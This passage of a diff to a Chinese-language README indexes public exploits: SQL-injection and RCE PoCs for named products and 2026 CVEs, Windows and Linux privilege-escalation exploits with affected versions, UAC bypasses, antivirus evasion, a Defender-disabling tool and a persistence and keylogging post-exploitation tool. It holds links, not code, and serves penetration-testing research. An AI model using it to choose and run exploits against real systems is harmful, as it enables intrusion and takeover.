ProductDetail.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-ProductNewVersion-ProductDetail-sqli.html) +- [孚盟云CRM ProductSelect.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-ProductNewVersion-ProductSelect-sqli.html) +- [CVE-2026-8054 高危前台无需认证 SQL 注入漏洞(Pre-auth SQL Injection)分析复现](https://mrxn.net/jswz/dotcms-api-auditPublishing-pre-auth-sqli.html) | [CVE-2026-8054](https://github.com/Mr-xn/CVE-2026-8054) +- [孚盟云CRM ProviderList.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Provider-ProviderList-sqli.html) +- [孚盟云CRM ProductDetail.aspx SQL注入漏洞](https://mrxn.net/jswz/fumacrm-Dingding-Product-ProductDetail-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 user_expire_post SQL注入漏洞](https://mrxn.net/jswz/bigant-admin-dept-user_expire_post-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 uploadMultipleFile 任意文件上传漏洞](https://mrxn.net/jswz/bigant-addin-Upload-uploadMultipleFile-rce.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 Pan/Upload/upload 文件上传漏洞](https://mrxn.net/jswz/bigant-Pan-Upload-upload.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 getFileTrueAddress SQL注入漏洞](https://mrxn.net/jswz/bigant-pan-file-getFileTrueAddress-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 downloadSharedFile 任意文件读取漏洞](https://mrxn.net/jswz/bigant-ShareUrl-downloadSharedFile-fileread.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 clearUserDevice SQL注入漏洞](https://mrxn.net/jswz/bigant-admin-user-clearUserDevice-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 admin/secret/edit SQL注入漏洞](https://mrxn.net/jswz/bigant-admin-secret-edit-sqli.html) +- [大蚂蚁 (BigAnt) 即时通讯系统 admin/Upload/upload 文件上传漏洞](https://mrxn.net/jswz/bigant-admin-Upload-upload-rce.html) +- [LiteLLM v1.84.0 安全漏洞完整分析报告](https://mrxn.net/jswz/LiteLLM_v1840_security_analysis.html) +- [ragflow-audit:RAGFlow 三洞审计工具(CVE-2026-28797 SSTI→RCE / CVE-2026-24770 Zip Slip / CVE-2025-69286 API key 可推导),纯 Python 标准库,无第三方依赖](https://github.com/qianlijaingshan/ragflow-audit) +- [用友U8Cloud XChangeServlet SQL注入漏洞+XXE漏洞](https://mrxn.net/jswz/yonyou-u8c-XChangeServlet-xxe-sqli.html) +- [CVE-2026-63030 + CVE-2026-60137: pre-authentication SQL injection in WordPress core via REST batch-route confusion.](https://github.com/47Cid/wp2shell-lab) | [wp2shell-poc](https://github.com/Icex0/wp2shell-poc) | [wp2shell-单文件利用+批量检测](https://github.com/Mr-xn/wp2shell) | [wp2shell+lab](https://github.com/0xsha/wp2shell) | [CVE-2026-63030:wp2shell vulhub](https://github.com/vulhub/vulhub/tree/master/wordpress/CVE-2026-63030) +- [Fastjson 1.2.68-1.2.83 版本默认配置在特定场景下的反序列化RCE实现](https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC) | [fastjson-jsontype-rce-lab](https://github.com/dinosn/fastjson-jsontype-rce-lab) | [2026FastjsonPoC](https://github.com/ThanatosXingYu/2026FastjsonPoC) +- [Fastjson 1.2.83 默认配置下的远程代码执行RCE](https://mrxn.net/jswz/fastjson-1-2-83-default-config-rce.html) +- [redis-poc: RCE PoC for Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0](https://github.com/berabuddies/redis-poc) +- [用友U8Cloud extsystem.dst 接口SQL注入漏洞](https://mrxn.net/jswz/yonyou-u8c-extsystem-dst-sqli.html) +- [金和OA C6 PlanGiveOut.aspx SQL注入漏洞+越权访问IDOR漏洞+XSS漏洞](https://mrxn.net/jswz/jhsoft-PlanGiveOut-planid-httpOID-sqli.html) +- [用友GRP-U8Cloud产品jmreport组件模块Freemarker模板SSTI致RCE漏洞分析](https://mrxn.net/jswz/yonyou-grp-u8c-jmreport-Freemarker-rce.html) +- [CVE-2026-64638: XSS2Shell — WordPress Pre-Auth XSS → RCE Chain PoC](https://github.com/Boreas37/CVE-2026-64638-PoC) +- [普华PowerPMS /Plan/BatchHandleFeedBackRecord 鉴权绕过漏洞](https://mrxn.net/jswz/powerpms-Plan-BatchHandleFeedBackRecord-auth-bypass.html) ## 提权辅助相关 -- [windows-kernel-exploits Windows平台提权漏洞集合](https://github.com/SecWiki/windows-kernel-exploits) +- [windows-kernel-exploits Windows平台提权漏洞集合(Windows XP - Windows 10/Server 2019)](https://github.com/SecWiki/windows-kernel-exploits) - [windows 溢出提权小记](https://klionsec.github.io/2017/04/22/win-0day-privilege/)/[本地保存了一份+Linux&Windows提取脑图](./tools/Local%20Privilege%20Escalation.md) - [Windows常见持久控制脑图](./tools/Windows常见持久控制.png) -- [CVE-2019-0803 Win32k漏洞提权工具](./CVE-2019-0803) -- [脏牛Linux提权漏洞](https://github.com/Brucetg/DirtyCow-EXP)-[reverse_dirty-更改的脏牛提权代码,可以往任意文件写入任意内容](https://github.com/Rvn0xsy/reverse_dirty)|[linux_dirty:更改后的脏牛提权代码,可以往任意文件写入任意内容,去除交互过程](https://github.com/Rvn0xsy/linux_dirty)|[dirtycow-mem:脏牛利用C源码](https://github.com/sqlnetcat/dirtycow-mem)-[文章](https://mp.weixin.qq.com/s/xUhr6D9mGnrE_cJw1kmyFA)-[备份](https://archive.ph/wip/NCL3w)-[备份1](https://web.archive.org/web/20220918065539/https://mp.weixin.qq.com/s/xUhr6D9mGnrE_cJw1kmyFA) +- [CVE-2019-0803 Win32k漏洞提权工具(Windows 7/8/10, Server 2008/2012/2016/2019)](./vuln_pocs/cve/CVE-2019-0803) +- [脏牛Linux提权漏洞(CVE-2016-5195,Linux kernel 2.6.22 - 4.8.2)](https://github.com/Brucetg/DirtyCow-EXP)-[reverse_dirty-更改的脏牛提权代码,可以往任意文件写入任意内容](https://github.com/Rvn0xsy/reverse_dirty)|[linux_dirty:更改后的脏牛提权代码,可以往任意文件写入任意内容,去除交互过程](https://github.com/Rvn0xsy/linux_dirty)|[dirtycow-mem:脏牛利用C源码](https://github.com/sqlnetcat/dirtycow-mem)-[文章](https://mp.weixin.qq.com/s/xUhr6D9mGnrE_cJw1kmyFA)-[备份](https://archive.ph/wip/NCL3w)-[备份1](https://web.archive.org/web/20220918065539/https://mp.weixin.qq.com/s/xUhr6D9mGnrE_cJw1kmyFA)|[CVE-2016-5195:timwr实现的Android版Dirty Cow利用工具](https://github.com/timwr/CVE-2016-5195) - [远控免杀从入门到实践之白名单(113个)](https://github.com/TideSec/BypassAntiVirus)|[远控免杀从入门到实践之白名单(113个)总结篇.pdf](./books/远控免杀从入门到实践之白名单(113个)总结篇.pdf) -- [Linux提权-CVE-2019-13272 A linux kernel Local Root Privilege Escalation vulnerability with PTRACE_TRACEME](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272-aarch64) +- [Linux提权-CVE-2019-13272 A linux kernel Local Root Privilege Escalation vulnerability with PTRACE_TRACEME(Linux kernel < 5.1.17,aarch64架构)](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272-aarch64) - [Linux权限提升辅助一键检测工具](https://github.com/mzet-/linux-exploit-suggester) - [将powershell脚本直接注入到进程中执行来绕过对powershell.exe的限制](https://github.com/EmpireProject/PSInject) - [CVE-2020-2696 – Local privilege escalation via CDE dtsession](https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtsession_ipa.c) -- [CVE-2020-0683-利用Windows MSI “Installer service”提权](https://github.com/padovah4ck/CVE-2020-0683/) +- [CVE-2020-0683-利用Windows MSI “Installer service”提权(Windows 7/8.1/10, Server 2008/2012/2016/2019)](https://github.com/padovah4ck/CVE-2020-0683/) - [Linux sudo提权辅助工具—查找sudo权限配置漏洞](https://github.com/TH3xACE/SUDO_KILLER) -- [Windows提权-CVE-2020-0668:Windows Service Tracing本地提权漏洞](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668) +- [Windows提权-CVE-2020-0668:Windows Service Tracing本地提权漏洞(Windows 10 ≥ build 1903 使用UsoDllLoader;Windows < build 1903 使用diaghub)](https://github.com/RedCursorSecurityConsulting/CVE-2020-0668) - [Linux提取-Linux kernel XFRM UAF poc (3.x - 5.x kernels)2020年1月前没打补丁可测试](https://github.com/duasynt/xfrm_poc) -- [linux-kernel-exploits Linux平台提权漏洞集合](https://github.com/SecWiki/linux-kernel-exploits) +- [linux-kernel-exploits Linux平台提权漏洞集合(覆盖 Linux 2.4 - 5.x 内核版本)](https://github.com/SecWiki/linux-kernel-exploits) - [Linux提权辅助检测Perl脚本](https://github.com/jondonas/linux-exploit-suggester-2)|[Linux提权辅助检测bash脚本](https://github.com/mzet-/linux-exploit-suggester)|[Unix-PrivEsc:本地 Unix 系统提权集合](https://github.com/FuzzySecurity/Unix-PrivEsc) -- [CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost](https://github.com/danigargu/CVE-2020-0796)|[【Windows提取】Windows SMBv3 LPE exploit 已编译版.exe](https://github.com/f1tz/CVE-2020-0796-LPE-EXP)|[SMBGhost_RCE_PoC-远程代码执行EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)|[Windows_SMBv3_RCE_CVE-2020-0796漏洞复现](./books/Windows_SMBv3_RCE_CVE-2020-0796漏洞复现.pdf)|[CVE-2020-0796](https://github.com/ran-sama/CVE-2020-0796) +- [CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost(Windows 10 version 1903/1909)](https://github.com/danigargu/CVE-2020-0796)|[【Windows提取】Windows SMBv3 LPE exploit 已编译版.exe](https://github.com/f1tz/CVE-2020-0796-LPE-EXP)|[SMBGhost_RCE_PoC-远程代码执行EXP](https://github.com/chompie1337/SMBGhost_RCE_PoC)|[Windows_SMBv3_RCE_CVE-2020-0796漏洞复现](./books/Windows_SMBv3_RCE_CVE-2020-0796漏洞复现.pdf)|[CVE-2020-0796](https://github.com/ran-sama/CVE-2020-0796) - [getAV---windows杀软进程对比工具单文件版](./tools/getAV/) - [【Windows提权工具】Windows 7 to Windows 10 / Server 2019](https://github.com/CCob/SweetPotato)|[搭配Cobalt Strike的修改版可上线system权限的session](https://github.com/lengjibo/RedTeamTools/tree/master/windows/SweetPotato)|[RoguePotato:又一个 Windows 提权工具](https://github.com/antonioCoco/RoguePotato) - [【Windows提权工具】SweetPotato修改版,用于webshell下执行命令](https://github.com/uknowsec/SweetPotato)|[本地编译好的版本](./tools/SweetPotato.zip)|[点击下载或右键另存为](https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/SweetPotato.zip)|[SweetPotato_webshell下执行命令版.pdf](./books/SweetPotato_webshell下执行命令版.pdf)|[JuicyPotato修改版-可用于webshell](https://github.com/uknowsec/JuicyPotato)|[JuicyPotatoNG:另一个 juicypotato](https://github.com/antonioCoco/JuicyPotatoNG)|[DCOMPotato: Some Service DCOM Object and SeImpersonatePrivilege abuse.](https://github.com/zcgonvh/DCOMPotato)|[GodPotato: 适用于Windows 2012 - Windows 2022的土豆提权工具](https://github.com/BeichenDream/GodPotato) @@ -791,63 +912,76 @@ - [【Windows提权 Windows 10&Server 2019】PrintSpoofer-Abusing Impersonation Privileges on Windows 10 and Server 2019](https://github.com/itm4n/PrintSpoofer)|[配合文章食用-pipePotato复现](./books/pipePotato复现.pdf)|[Windows 权限提升 BadPotato-已经在Windows 2012-2019 8-10 全补丁测试成功](https://github.com/BeichenDream/BadPotato) - [【Windows提权】Windows 下的提权大合集](https://github.com/lyshark/Windows-exploits) - [【Windows提权】-CVE-2020-1048 | PrintDemon本地提权漏洞-漏洞影响自1996年以来发布(Windows NT 4)的所有Windows版本](https://github.com/ionescu007/PrintDemon) -- [【Windows bypass UAC】UACME-一种集成了60多种Bypass UAC的方法](https://github.com/hfiref0x/UACME) +- [【Windows bypass UAC】UACME-一种集成了60多种Bypass UAC的方法(Windows 7 - Windows 11,各方法适用build范围不同)](https://github.com/hfiref0x/UACME) - [CVE-2020–1088: Windows wersvc.dll 任意文件删除本地提权漏洞分析](https://medium.com/csis-techblog/cve-2020-1088-yet-another-arbitrary-delete-eop-a00b97d8c3e2) -- [【Windows提权】CVE-2019-0863-Windows中错误报告机制导致的提权-EXP](https://github.com/sailay1996/WerTrigger) -- [【Windows提权】CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP) +- [【Windows提权】CVE-2019-0863-Windows中错误报告机制导致的提权-EXP(Windows 7/8.1/10, Server 2008/2012/2016/2019)](https://github.com/sailay1996/WerTrigger) +- [【Windows提权 Windows 7/Server 2008 R2】CVE-2020-1066-EXP](https://github.com/cbwang505/CVE-2020-1066-EXP) - [【Windows提权】CVE-2020-0787-EXP-ALL-WINDOWS-VERSION-适用于Windows所有版本的提权EXP](https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)|[CVE-2020-0787:提权带回显](https://github.com/yanghaoi/CVE-2020-0787)|[CVE-2020-0787_CNA:适用于Cobalt Strike的CVE-2020-0787提权文件](https://github.com/yanghaoi/CobaltStrike_CNA/tree/main/ReflectiveDllSource/CVE-2020-0787_CNA) -- [【Windows提权】CVE-2020-1054-Win32k提权漏洞Poc](https://github.com/0xeb-bp/cve-2020-1054)|[CVE-2020-1054-POC](https://github.com/Iamgublin/CVE-2020-1054) +- [【Windows提权 Windows 7/8.1/10, Server 2008/2012/2016/2019】CVE-2020-1054-Win32k提权漏洞Poc](https://github.com/0xeb-bp/cve-2020-1054)|[CVE-2020-1054-POC](https://github.com/Iamgublin/CVE-2020-1054) - [【Linux提权】对Linux提权的简单总结](./books/对Linux提权的简单总结.pdf) -- [【Windows提权】wesng-Windows提权辅助脚本](https://github.com/bitsadmin/wesng)|[Windows-Exploit-Suggester:又一个 Windows 提权辅助Python脚本](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) -- [【Windows提权】dazzleUP是一款用来帮助渗透测试人员进行权限提升的工具,可以在window系统中查找脆弱面进行攻击。工具包括两部分检查内容,exploit检查和错误配置检查。](https://github.com/hlldz/dazzleUP) -- [【Windows提权】KernelHub-近二十年Windows权限提升集合](https://github.com/Ascotbe/KernelHub) +- [【Windows提权】wesng-Windows提权辅助脚本(Windows XP - Windows 11,支持所有Server版本)](https://github.com/bitsadmin/wesng)|[Windows-Exploit-Suggester:又一个 Windows 提权辅助Python脚本](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) +- [【Windows提权】dazzleUP是一款用来帮助渗透测试人员进行权限提升的工具,可以在window系统中查找脆弱面进行攻击。工具包括两部分检查内容,exploit检查和错误配置检查。(漏洞检查:Windows 10 build 1809/1903/1909/2004;配置检查:所有Windows版本)](https://github.com/hlldz/dazzleUP) +- [【Windows提权】KernelHub-近二十年Windows权限提升集合(Windows 2000 - 2023)](https://github.com/Ascotbe/KernelHub) - [【Windows提权】Priv2Admin-Windows提权工具](https://github.com/gtworek/Priv2Admin) -- [【windows提权】利用有漏洞的技嘉驱动程序来加载恶意的驱动程序提升权限或干掉驱动级保护的杀软](https://github.com/alxbrn/gdrv-loader)|[备份地址](https://github.com/Mr-xn/gdrv-loader) -- [【windows提权】byeintegrity-uac:通过劫持位于本机映像缓存中的DLL绕过UAC](https://github.com/AzAgarampur/byeintegrity-uac) -- [【Windows 提权】InstallerFileTakeOver:Windows Installer 本地提权漏洞PoC](https://github.com/klinix5/InstallerFileTakeOver) -- [【Linux 提权】CVE-2021-4034:Linux Polkit 权限提升漏洞(pkexec)](https://github.com/berdav/CVE-2021-4034)|[PwnKit:cve-2021-4034,可获得交互式shell或者执行单个命令](https://github.com/ly4k/PwnKit)|[cve-2021-4034:单命令执行版本](https://github.com/wudicainiao/cve-2021-4034)|[CVE-2021-4034-NoGCC:CVE-2021-4034简单优化,以应对没有安装gcc和make的目标环境](https://github.com/EstamelGG/CVE-2021-4034-NoGCC) -- [【Windows 提权】CVE-2022-21882:win32k LPE bypass CVE-2021-1732](https://github.com/KaLendsi/CVE-2022-21882)|[又一个CVE-2022-21882提权工具](https://github.com/L4ys/CVE-2022-21882) -- [【Windows 提权】CVE-2022-21999:Windows 打印机提权漏洞(此漏洞是去年打印机提权漏洞Printnightmare的续集)](https://github.com/ly4k/SpoolFool) -- [【Windows 提权】CVE-2022-29072:7-Zip帮助页面命令注入漏洞](https://github.com/kagancapar/CVE-2022-29072) +- [【windows提权 Windows 7/10 x64】利用有漏洞的技嘉驱动程序来加载恶意的驱动程序提升权限或干掉驱动级保护的杀软](https://github.com/alxbrn/gdrv-loader)|[备份地址](https://github.com/Mr-xn/gdrv-loader) +- [【windows提权】byeintegrity-uac:通过劫持位于本机映像缓存中的DLL绕过UAC(Windows 7 build 7600 至最新版本)](https://github.com/AzAgarampur/byeintegrity-uac) +- [【Windows 提权 Windows 10/11, Server 2019/2022】InstallerFileTakeOver:Windows Installer 本地提权漏洞PoC](https://github.com/klinix5/InstallerFileTakeOver) +- [【Linux 提权】CVE-2021-4034:Linux Polkit pkexec 权限提升漏洞(所有主流Linux发行版,polkit < 0.120)](https://github.com/berdav/CVE-2021-4034)|[PwnKit:cve-2021-4034,可获得交互式shell或者执行单个命令](https://github.com/ly4k/PwnKit)|[cve-2021-4034:单命令执行版本](https://github.com/wudicainiao/cve-2021-4034)|[CVE-2021-4034-NoGCC:CVE-2021-4034简单优化,以应对没有安装gcc和make的目标环境](https://github.com/EstamelGG/CVE-2021-4034-NoGCC) +- [【Windows 提权 Windows 10 20H2 (build 19042)】CVE-2022-21882:win32k LPE bypass CVE-2021-1732](https://github.com/KaLendsi/CVE-2022-21882)|[又一个CVE-2022-21882提权工具](https://github.com/L4ys/CVE-2022-21882) +- [【Windows 提权】CVE-2022-21999:Windows 打印机提权漏洞,支持所有Windows桌面版本(此漏洞是去年打印机提权漏洞Printnightmare的续集)](https://github.com/ly4k/SpoolFool) +- [【Windows 提权】CVE-2022-29072:7-Zip帮助页面命令注入漏洞(7-Zip 21.07,Windows)](https://github.com/kagancapar/CVE-2022-29072) - [PEASS-ng:提权检测工具,支持 Windows 和 Linux](https://github.com/carlospolop/PEASS-ng) - [【Linux提权】LinEnum:Linux 提权检查脚本](https://github.com/rebootuser/LinEnum) -- [【Windows 提权】sam-the-admin:CVE-2021-42278 and CVE-2021-42287域内提权](https://github.com/WazeHell/sam-the-admin) -- [【Windows 提权】KrbRelayUp:域内提权](https://github.com/Dec0ne/KrbRelayUp) -- [【Windows 提权】Auto-Elevate:通过bypass UAC 和令牌模拟提权到 system权限](https://github.com/FULLSHADE/Auto-Elevate) -- [【Linux 提权】CVE-2021-4204:Linux Kernel eBPF Local Privilege Escalation](https://github.com/tr3ee/CVE-2021-4204) -- [【Linux 提权】CVE-2022-23222:Linux Kernel eBPF Local Privilege Escalation](https://github.com/tr3ee/CVE-2022-23222) +- [【Windows 提权】sam-the-admin:CVE-2021-42278 and CVE-2021-42287域内提权(Active Directory域环境,2021年11月补丁前)](https://github.com/WazeHell/sam-the-admin) +- [【Windows 提权】KrbRelayUp:域内提权(未强制LDAP签名的默认AD域环境,通用无补丁提权)](https://github.com/Dec0ne/KrbRelayUp) +- [【Windows 提权 Windows 10 21H1】Auto-Elevate:通过bypass UAC 和令牌模拟提权到 system权限](https://github.com/FULLSHADE/Auto-Elevate) +- [【Linux 提权】CVE-2021-4204:Linux Kernel eBPF Local Privilege Escalation(Linux kernel 5.8 - 5.16)](https://github.com/tr3ee/CVE-2021-4204) +- [【Linux 提权】CVE-2022-23222:Linux Kernel eBPF Local Privilege Escalation(Linux kernel 5.15.0 - 5.15.20)](https://github.com/tr3ee/CVE-2022-23222) - [【Windows 提权】PrivExchange:通过滥用Exchange将您的权限交换为域管理权限](https://github.com/dirkjanm/PrivExchange) -- [【Windows 提权】PetitPotam:替代PrintBug用于本地提权的新方式,主要利用MS-EFSR协议中的接口函数](https://github.com/crisprss/PetitPotam) -- [【Windows 提权】DiagTrackEoP:绕过服务账户限制滥用DiagTrack服务与SeImpersonate权限进行权限提升](https://github.com/Wh04m1001/DiagTrackEoP) -- [【Windows 提权】WinPwnage:UAC bypass, Elevate, Persistence methods](https://github.com/rootm0s/WinPwnage) -- [【Windows 提权】CVE-2022-31262:GOG Galaxy LPE Exploit](https://github.com/secure-77/CVE-2022-31262) +- [【Windows 提权】PetitPotam:替代PrintBug用于本地提权的新方式,主要利用MS-EFSR协议中的接口函数(所有Windows Server版本,需MS-EFSR服务)](https://github.com/crisprss/PetitPotam) +- [【Windows 提权 Windows 10/Server 2019】DiagTrackEoP:绕过服务账户限制滥用DiagTrack服务与SeImpersonate权限进行权限提升](https://github.com/Wh04m1001/DiagTrackEoP) +- [【Windows 提权】WinPwnage:UAC bypass, Elevate, Persistence methods(Windows 7 build 7600 - Windows 10,各方法支持的build范围不同)](https://github.com/rootm0s/WinPwnage) +- [【Windows 提权】CVE-2022-31262:GOG Galaxy LPE Exploit(GOG Galaxy 2.0.46 - 2.0.51,Windows)](https://github.com/secure-77/CVE-2022-31262) - [【Linux】CVE-2021-4034:pkexec 本地提权漏洞](https://github.com/arthepsy/CVE-2021-4034)|[又一个cve-2021-4034](https://github.com/Silencecyber/cve-2021-4034) -- [【Linux 提权】CVE-2021-4154:Linux Kernel 资源管理错误漏洞](https://github.com/Markakd/CVE-2021-4154) -- [【Linux 提权】CVE-2022-34918:netfilter nf_tables 本地提权](https://github.com/veritas501/CVE-2022-34918) -- [【Linux 提权】CVE-2022-1972-infoleak-PoC:Linux-netfilter-越界写入漏洞](https://github.com/randorisec/CVE-2022-1972-infoleak-PoC) -- [【Linux 提权】CVE-2022-32250-exploit](https://github.com/theori-io/CVE-2022-32250-exploit) -- [Elevator:UAC Bypass by abusing RPC and debug objects.](https://github.com/Kudaes/Elevator) -- [【Linux 提权】CVE-2022-2639-PipeVersion](https://github.com/avboy1337/CVE-2022-2639-PipeVersion) -- [【Linux 提权】CVE-2022-2588](https://github.com/Markakd/CVE-2022-2588) -- [【Windows 提权】PetitPotato:通过PetitPotam进行本地提权](https://github.com/wh0Nsq/PetitPotato) -- [LocalPotato:一个使用新potato技术来进行windows本地提权](https://github.com/decoder-it/LocalPotato) -- [EfsPotato:Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability)](https://github.com/zcgonvh/EfsPotato) -- [【Linux 提权】CVE-2023-32233: Linux Kernel 权限提升漏洞](https://github.com/Liuk3r/CVE-2023-32233) -- [【Linux 提权】CVE-2023-0386: Linux OverlayFS权限提升漏洞](https://github.com/veritas501/CVE-2023-0386) -- [【Linux提权】CVE-2023-2008: Linux Kernel 权限提升漏洞](https://github.com/bluefrostsecurity/CVE-2023-2008) -- [【win提权】CVE-2023-21752: Windows 备份服务特权提升漏洞](https://github.com/Wh04m1001/CVE-2023-21752) -- [【win提权】CVE-2023-29343: Windows 特权提升漏洞的 SysInternals Sysmon](https://github.com/Wh04m1001/CVE-2023-29343) -- [【Linux提权】CVE2023-1829: Linux Kernel 权限提升漏洞](https://github.com/lanleft/CVE2023-1829) +- [【Linux 提权】CVE-2021-4154:Linux Kernel 资源管理错误漏洞(Linux kernel 5.1 - 5.16,需unprivileged user namespaces)](https://github.com/Markakd/CVE-2021-4154) +- [【Linux 提权】CVE-2022-34918:netfilter nf_tables 本地提权(Linux kernel < 5.18.13,需unprivileged user namespaces)](https://github.com/veritas501/CVE-2022-34918) +- [【Linux 提权】CVE-2022-1972-infoleak-PoC:Linux-netfilter-越界写入漏洞(需开启unprivileged user namespaces)](https://github.com/randorisec/CVE-2022-1972-infoleak-PoC) +- [【Linux 提权】CVE-2022-32250-exploit(Linux kernel < 5.18.13,Ubuntu ≤ 22.04未打补丁)](https://github.com/theori-io/CVE-2022-32250-exploit) +- [Elevator:UAC Bypass by abusing RPC and debug objects.(Windows Server 2016/2019, Windows 10/11 x64,build 19045.3570前)](https://github.com/Kudaes/Elevator) +- [【Linux 提权】CVE-2022-2639-PipeVersion(Linux kernel 3.13 - 5.17)](https://github.com/avboy1337/CVE-2022-2639-PipeVersion) +- [【Linux 提权】CVE-2022-2588(Linux kernel 3.17 - 5.18,需user namespaces)](https://github.com/Markakd/CVE-2022-2588) +- [【Windows 提权】PetitPotato:通过PetitPotam进行本地提权(支持所有Windows版本,含Server 2022 21H2)](https://github.com/wh0Nsq/PetitPotato) +- [LocalPotato(CVE-2023-21746):一个使用新potato技术来进行Windows本地提权(Windows 10/11, Server 2019/2022;HTTP/WebDAV场景在打补丁后仍可用)](https://github.com/decoder-it/LocalPotato) +- [EfsPotato:Exploit for EfsPotato(MS-EFSR EfsRpcOpenFileRaw with SeImpersonatePrivilege local privalege escalation vulnerability)(适用于具有SeImpersonatePrivilege权限的Windows环境)](https://github.com/zcgonvh/EfsPotato) +- [【Linux 提权】CVE-2023-32233: Linux Kernel 权限提升漏洞(Linux kernel < 6.3.1,测试于Ubuntu 23.04 kernel 6.2.0-20-generic)](https://github.com/Liuk3r/CVE-2023-32233) +- [【Linux 提权】CVE-2023-0386: Linux OverlayFS权限提升漏洞(Linux kernel < 6.2)](https://github.com/veritas501/CVE-2023-0386) +- [【Linux提权】CVE-2023-2008: Linux Kernel 权限提升漏洞(Linux kernel < 5.19-rc4,Ubuntu 22.04,需kvm组权限)](https://github.com/bluefrostsecurity/CVE-2023-2008) +- [【win提权】CVE-2023-21752: Windows 备份服务特权提升漏洞(Windows,2023年1月补丁前)](https://github.com/Wh04m1001/CVE-2023-21752) +- [【win提权】CVE-2023-29343: Windows 特权提升漏洞的 SysInternals Sysmon(Sysmon v14.14,2023年4月补丁前)](https://github.com/Wh04m1001/CVE-2023-29343) +- [【Linux提权】CVE2023-1829: Linux Kernel 权限提升漏洞(Linux kernel 5.15,测试于Ubuntu 22.04 kernel 5.15.0-25.25)](https://github.com/lanleft/CVE2023-1829) +- [【Windows提权 Windows 10/11, Server 2019/2022(含Defender)】RedSun:滥用Windows Defender云标签行为覆盖系统文件并获得管理员权限](https://github.com/Nightmare-Eclipse/RedSun) +- [【Windows Defender DOS】UnDefend:无需管理员权限,被动模式下阻止Defender签名更新,激进模式下在Windows平台更新时完全禁用Windows Defender](https://github.com/Nightmare-Eclipse/UnDefend) +- [【Windows提权】CVE-2026-0827:Lenovo LdeApi.Server.exe 无模拟写文件本地提权漏洞——低权限用户可创建 NTFS junction 使服务以 SYSTEM 权限向任意位置写文件](https://github.com/ZeroMemoryEx/CVE-2026-0827) +- [【Linux提权】CVE-2026-31431:Linux Copy Fail提权](https://github.com/theori-io/copy-fail-CVE-2026-31431) | [CVE-2026-31431](https://github.com/rootsecdev/cve_2026_31431) | [Copy-Fail-CVE-2026-31431-Kubernetes-PoC](https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC) +- [【Linux提权】Dirty Frag:Universal Linux LPE(CVE-2026-43284 / CVE-2026-43500,影响主流 Linux 发行版)](https://github.com/V4bel/dirtyfrag) +- [【Linux提权】CIFSwitch:利用 cifs.upcall 与 NSS 加载链进行本地提权 PoC](https://github.com/manizada/CIFSwitch) +- [CACM:一款Linux权限维持+后渗透工具,功能涵盖端口扫描、敏感信息、指纹识别、IP伪装、键盘监控、进程隐藏、edr/av识别、权限维持、docker敏感信息扫描、ssh连接伪装等](https://github.com/RuoJi6/CACM) +- [【Linux提权】RootHawk:整合多种已公开本地提权漏洞(如 Dirty Pipe、PwnKit、Polkit 3560 等)的一键化 Linux 提权检测与利用工具](https://github.com/RoadBicycle-C/RootHawk) +- [【Linux提权】CVE-2026-43503:(DirtyClone)是一个演示 Linux 内核 Dirty‑COW 类漏洞的新型本地提权 PoC,利用网络栈共享内存处理缺陷实现对只读页缓存的非法写入并获取 root 权限。](https://github.com/0xBlackash/CVE-2026-43503) +- [【Linux提权】CVE‑2026‑46331:packet_edit_meme](https://github.com/sgkdev/packet_edit_meme):Linux 内核本地提权 PoC,利用 act_pedit 的 partial‑COW 缺陷实现页缓存投毒,从而在不修改磁盘文件的情况下获取 root 权限。 +- [【Linux提权】 CVE‑2026‑46242(Bad Epoll):](https://github.com/0xBlackash/CVE-2026-46242) 是 Linux 内核 epoll 子系统中出现的严重 use‑after‑free 本地提权漏洞。 +- [【Windows提取】CVE-2026-54121](https://github.com/aniqfakhrul/CVE-2026-54121):利用 Certighost 漏洞伪造域控(Domain Controller)的证书,从而获得 域控级别的 Kerberos 身份,最终实现 完全接管整个 Active Directory 域 +- [【Windows提取】CVE‑2026‑49176](https://github.com/777erp/CVE-2026-49176_BOF):(Windows WalletService 本地提权漏洞) 的 本地缓冲区溢出(BOF)风格的 PoC/Exploit ## PC -- [ 微软RDP远程代码执行漏洞(CVE-2019-0708)](./BlueKeep)-[CVE-2019-0708-EXP-Windows-CVE-2019-0708-EXP-Windows版单文件exe版,运行后直接在当前控制台反弹System权限Shell](https://github.com/cbwang505/CVE-2019-0708-EXP-Windows) +- [微软RDP远程代码执行漏洞(CVE-2019-0708)](./vuln_pocs/exploit-tools/BlueKeep)-[CVE-2019-0708-EXP-Windows-CVE-2019-0708-EXP-Windows版单文件exe版,运行后直接在当前控制台反弹System权限Shell](https://github.com/cbwang505/CVE-2019-0708-EXP-Windows) -- [CVE-2019-0708-python版](./BlueKeep/bluekeep-CVE-2019-0708-python) +- [CVE-2019-0708-python版](./vuln_pocs/exploit-tools/BlueKeep/bluekeep-CVE-2019-0708-python) - [MS17-010-微软永恒之蓝漏洞](https://github.com/Mr-xn/MS17-010) -- [macOS-Kernel-Exploit](./macOS-Kernel-Exploit) +- 